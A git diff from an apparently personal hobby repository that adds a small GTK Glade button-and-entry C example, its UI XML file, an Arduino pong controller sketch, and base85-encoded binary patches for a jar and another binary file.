zTp_wm<3f)5=$C6bkkZ|M2DU#9Ku8%n-WfJD@ybSc651L2RRI?jTWo>c+Mn3M)gJyCGirWKi>@;!81k$3$V)0{h*VrxfNsm73oa<_wR!!jpX6 zk?>Bg_!yjUoR<_vCx*}F#aB0LIIb1ud9;|kJM5J=Yo_ihd#8<5+W$l;Z~naUR=h#vpELzPd8f_1#Jo8_ z<-C)(=vACo-s&&r*G&OXUilTmRFoID?~D75jl0{jVp@c_cnv_zd;6T9DPrL^(E^0V zo)+wRF0iqug%v~x@Iu{w9xO>W0n5vN2rbx$W0rRU+0%%xN4Tp<{^um?gK8){~N&f>i)v~kFMW-@Qq{ro&zxLYk5u(2Z0~Z?QMBxiMN1x!4ZM5Jk^5p zpRor{Hbf~5T8vKxzRTqADHltDP5-hywc-L`&i~X`hyKH}0y@q!)d(X9i|@MU$k+Da zUH0p>Jk!*{Z$Aq2Isx5Qgw*#C!s5H_-v#Db0PWAa`aH^{}Zc0boy^<{--qNI*$6d7L?ajLGxP$ULK+|-%dQOvH5o5b&c6CnEnsIJYO;P z`U@~mR}8i=h4LiDV7{3>4$M55U%8rM1rOt??-XFOx5)A@1THS$M}dpKz2Hed*Mrno z%@r|UU9jiOKySQbH$Imy3=SgJb=&&8d)=|$yK4}$G4xa} z@^wn)qIb>Rj;`)j>~D6jUX8sqx4)&etDR+z<}z*~oQ`r2M^(TmW1aCzh0Pp&@xCZR zeuses$z{uzh4`()NW{%2aAhqtFe=uPraeOwRw|3m=Up?rn|G2QG zFZ3JTf9nSyM|}yv9Mw*MeB~s>cHFe@JdXM5VCBlGd;Uy-cgx}rJ&yWvVcNF_#T6|2 zc!SZj8*Igkd@idgaj`r<5;=CyN=bak=PIm~`j({l>xg27$9%MM{Le#}Oxs0%ykhp> g^!A~&06weWrx*NEqu4?y^3fL}^;a9p?y{c$1H=_@f&c&j literal 0 HcmV?d00001 diff --git a/c/glade-examples/delete/test/test.c b/c/glade-examples/delete/test/test.c new file mode 100755 index 0000000..cd70371 --- /dev/null +++ b/c/glade-examples/delete/test/test.c @@ -0,0 +1,54 @@ +/* +First run tutorial.glade through gtk-builder-convert with this command: + gtk-builder-convert tutorial.glade tutorial.xml + +Then save this file as main.c and compile it using this command +(those are backticks, not single quotes): + gcc -Wall -g -o tutorial main.c `pkg-config --cflags --libs gtk+-2.0` -export-dynamic + +Then execute it using: + ./tutorial +*/ + +#include +#include +#include + +GtkBuilder *builder; +GtkWidget *window, *button1, *entry1; + + +void on_window_destroy (GtkObject *object, gpointer user_data) +{ + gtk_main_quit (); +} + +void on_button1_clicked() { + puts("click!"); + puts(gtk_entry_get_text(entry1)); + //gtk_button_set_label(button1, "lol"); + gtk_button_set_label(button1, gtk_entry_get_text(entry1)); +} + +int main (int argc, char *argv[]) +{ + gtk_init (&argc, &argv); + + builder = gtk_builder_new (); + gtk_builder_add_from_file (builder, "test.xml", NULL); + window = GTK_WIDGET (gtk_builder_get_object (builder, "window")); + + button1 = GTK_WIDGET (gtk_builder_get_object (builder, "button1")); + entry1 = GTK_WIDGET (gtk_builder_get_object (builder, "entry1")); + + + gtk_builder_connect_signals (builder, NULL); + + g_object_unref (G_OBJECT (builder)); + + gtk_widget_show (window); + gtk_main (); + + return 0; +} + diff --git a/c/glade-examples/delete/test/test.xml b/c/glade-examples/delete/test/test.xml new file mode 100755 index 0000000..543f08f --- /dev/null +++ b/c/glade-examples/delete/test/test.xml @@ -0,0 +1,31 @@ + + + + True + + + + True + + + True + True + + + + + True + True + True + Button1 + 0 + + + + 1 + + + + + + diff --git a/c/pong/pong.pde b/c/pong/pong.pde new file mode 100755 index 0000000..66f2c8c --- /dev/null +++ b/c/pong/pong.pde @@ -0,0 +1,30 @@ +/* Pong controller (for use with hPong) + * <~~Harvie 2oo8 + */ + +#define inpin 0 +int min = 65535, max = 0; +int stadium_max = 14; +char offset = 8; +float val = 0, oldval = -255; + +void setup() // run once, when the sketch starts +{ + stadium_max+=offset; + Serial.begin(115200); +} + +void loop() // run over and over again +{ + val = analogRead(inpin); + if(valmax) max=val; + val=(((val-(min))/(max-(min)))*stadium_max)-offset; + if(val!=oldval) { + oldval = val; + //Serial.print(min, DEC); Serial.print("-"); Serial.print(max, DEC); Serial.print("\n"); + //Serial.print(val, DEC); Serial.print("\n"); + Serial.print(val, BYTE); + } + delay(1); +} diff --git a/java/jCrossCrypt/crosscrypt.jar b/java/jCrossCrypt/crosscrypt.jar new file mode 100755 index 0000000000000000000000000000000000000000..3b847cad580044ea90dfd0ddece3b202c86240e2 GIT binary patch literal 131314 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 